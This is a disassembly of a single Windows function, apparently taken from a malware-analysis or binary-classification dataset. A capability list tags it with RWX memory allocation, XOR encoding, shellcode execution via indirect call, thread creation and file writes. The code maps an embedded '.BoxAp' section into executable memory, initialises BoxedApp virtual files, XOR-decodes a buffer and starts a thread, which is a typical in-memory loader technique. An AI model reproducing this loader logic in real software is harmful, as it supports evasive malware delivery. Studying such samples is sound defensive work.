Function at 0x10005b30
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100343e8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3c
push ebx
push esi
push edi
mov dword [ebp - 0x20], ecx
jmp 0x10005b63
xor ebx, ebx
push ebx
mov dword [ebp - 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, eax
xor edi, edi
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], ebx
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov di, word [eax + 6]
lea edx, [eax + 0xf8]
cmp edi, ebx
jle 0x10005bd9
mov esi, str..BoxAp
mov eax, edx
mov bl, byte [eax]
mov cl, bl
cmp bl, byte [esi]
jne 0x10005bb7
test cl, cl
je 0x10005bb3
mov bl, byte [eax + 1]
mov cl, bl
cmp bl, byte [esi + 1]
jne 0x10005bb7
add eax, 2
add esi, 2
test cl, cl
jne 0x10005b93
xor eax, eax
jmp 0x10005bbc
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10005bd3
mov eax, dword [ebp - 0x18]
add edx, 0x28
inc eax
cmp eax, edi
mov dword [ebp - 0x18], eax
jl 0x10005b8c
mov ebx, dword [ebp - 0x1c]
jmp 0x10005bd9
test edx, edx
mov ebx, edx
jne 0x10005bec
push 0
push 0x10
push 0x100427ac
call fcn.1002fece
call fcn.10002ee0
jmp 0x10005bfc
mov eax, dword [ebx + 8]
push 0x40
push 0x1000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10005e46
mov edi, dword [ebx + 0xc]
mov ecx, dword [ebp - 0x14]
add edi, ecx
mov ebx, dword [edi + 0x3c]
add ebx, edi
mov dword [ebp - 0x1c], ebx
mov ecx, dword [ebx + 0x54]
push ecx
push edi
push esi
call fcn.10019400
add esp, 0xc
cmp word [ebx + 6], 0
mov dword [ebp - 0x18], 0
jbe 0x10005c7b
add ebx, 0x10c
mov edx, dword [ebx - 4]
mov ecx, dword [ebx - 8]
push edx
mov edx, dword [ebx]
mov eax, edi
add ecx, esi
add eax, edx
push eax
push ecx
call fcn.10019400
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
xor edx, edx
add esp, 0xc
mov dx, word [ecx + 6]
add ebx, 0x28
inc eax
cmp eax, edx
mov dword [ebp - 0x18], eax
jl 0x10005c4b
jmp 0x10005c8d
push esi
call 0x10005870
push esi
push esi
call fcn.100057f0
mov edi, dword [ebp - 0x20]
add esp, 0xc
mov ecx, edi
push str.BoxedAppSDK_Init
push esi
call fcn.10005030
mov dword [ebp - 0x1c], eax
call dword [ebp - 0x1c]
push str.BoxedAppSDK_CreateVirtualFileA
push esi
mov ecx, edi
call fcn.10005030
xor ebx, ebx
push ebx
push ebx
push 1
push ebx
push 1
push 0xc0000000
push 0x10048d24
call eax
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x24], eax
call fcn.1000fa30
mov ecx, dword [0x100487ec]
xor eax, eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x48], 0x100376ec
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], 0xa
mov esi, dword [0x100487e4]
cmp ecx, ebx
mov byte [ebp - 4], 1
mov dword [ebp - 0x1c], ebx
jle 0x10005d5e
jmp 0x10005d20
xor ebx, ebx
cmp esi, ebx
je 0x10005d5e
mov edi, dword [esi + 8]
mov ebx, dword [esi + 0xc]
push 0
push eax
lea ecx, [ebp - 0x48]
call fcn.10006300
mov dword [eax + 8], edi
mov dword [eax + 0xc], ebx
mov ecx, dword [ebp - 0x40]
test ecx, ecx
je 0x10005d46
mov dword [ecx], eax
jmp 0x10005d49
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
inc ecx
mov dword [ebp - 0x40], eax
mov esi, dword [esi]
cmp ecx, edx
mov dword [ebp - 0x1c], ecx
jl 0x10005d1e
xor ebx, ebx
mov eax, dword [0x10048c28]
cdq
sub eax, edx
sar eax, 1
lea esi, [eax - 1]
cmp esi, ebx
jl 0x10005d8e
mov dl, byte [esi + 0x10048820]
push edx
call fcn.10002f30
add esp, 4
lea ecx, [ebp - 0x48]
push ecx
push eax
lea ecx, [ebp - 0x14]
call fcn.10010230
dec esi
jns 0x10005d6f
mov eax, dword [ebp - 0x44]
mov edx, dword [eax + 0xc]
mov esi, dword [eax + 8]
mov dword [ebp - 0x28], edx
jmp 0x10005daa
xor eax, eax
mov cl, byte [0x1004882e]
mov dl, byte [esi + eax]
xor dl, cl
mov byte [esi + eax], dl
inc eax
cmp eax, 0x800
jl 0x10005dac
jmp 0x10005dd4
mov eax, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x44]
xor edi, edi
cmp eax, ebx
mov dword [ebp - 0x18], eax
jle 0x10005e08
cmp esi, ebx
je 0x10005e08
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 8]
lea edx, [ebp - 0x28]
push ebx
push edx
push ecx
push eax
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x18]
mov esi, dword [esi]
inc edi
cmp edi, eax
jl 0x10005de3
mov dword [ebp - 0x48], 0x100376ec
mov eax, dword [ebp - 0x44]
mov byte [ebp - 4], 2
cmp eax, ebx
je 0x10005e20
mov eax, dword [eax]
cmp eax, ebx
jne 0x10005e1a
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x44], ebx
call fcn.10028443
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x34], ebx
mov dword [ebp - 4], 0xffffffff
call fcn.1000fa60
mov edx, dword [ebp - 0x20]
lea ecx, [ebp - 0x10]
push ecx
push 0
push edx
push 0x10003840
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x10005e6f
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret